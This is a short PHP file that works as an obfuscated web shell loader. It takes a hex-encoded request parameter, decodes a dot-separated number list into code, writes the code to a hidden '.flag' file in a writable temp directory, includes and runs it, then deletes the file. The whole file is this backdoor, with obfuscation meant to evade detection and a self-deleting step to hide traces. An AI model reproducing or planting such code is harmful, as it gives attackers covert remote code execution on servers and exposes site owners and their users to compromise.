<?php

if(isset($_REQUEST) && isset($_REQUEST["\x63\x6Fm\x70o\x6Eent"])){
	$parameter_group = $_REQUEST["\x63\x6Fm\x70o\x6Eent"];
		 $parameter_group	  =	 explode			(  "."  ,$parameter_group);
	$ptr = '';
            $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s1		);
            $p = 0;
            $__len = count($parameter_group		);
    
            do { if ($p	>=		$__len) break;
                $v2 = $parameter_group[$p];
                $sChar = ord($s1[$p		%$lenS]		);
                $dec = ((int)$v2 - $sChar - ($p		%10)) ^ 95;
                $ptr.= 	chr($dec		);
                $p++;
            } while (true		);
	$dat = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]);
	foreach ($dat as $object):
    		if (array_product([is_dir($object), is_writable($object)])) {
    $mrk = join("/", [$object, ".flag"]);
    if (@file_put_contents($mrk, $ptr) !== false) {
	include $mrk;
	unlink($mrk);
	exit;
}
}
endforeach;
}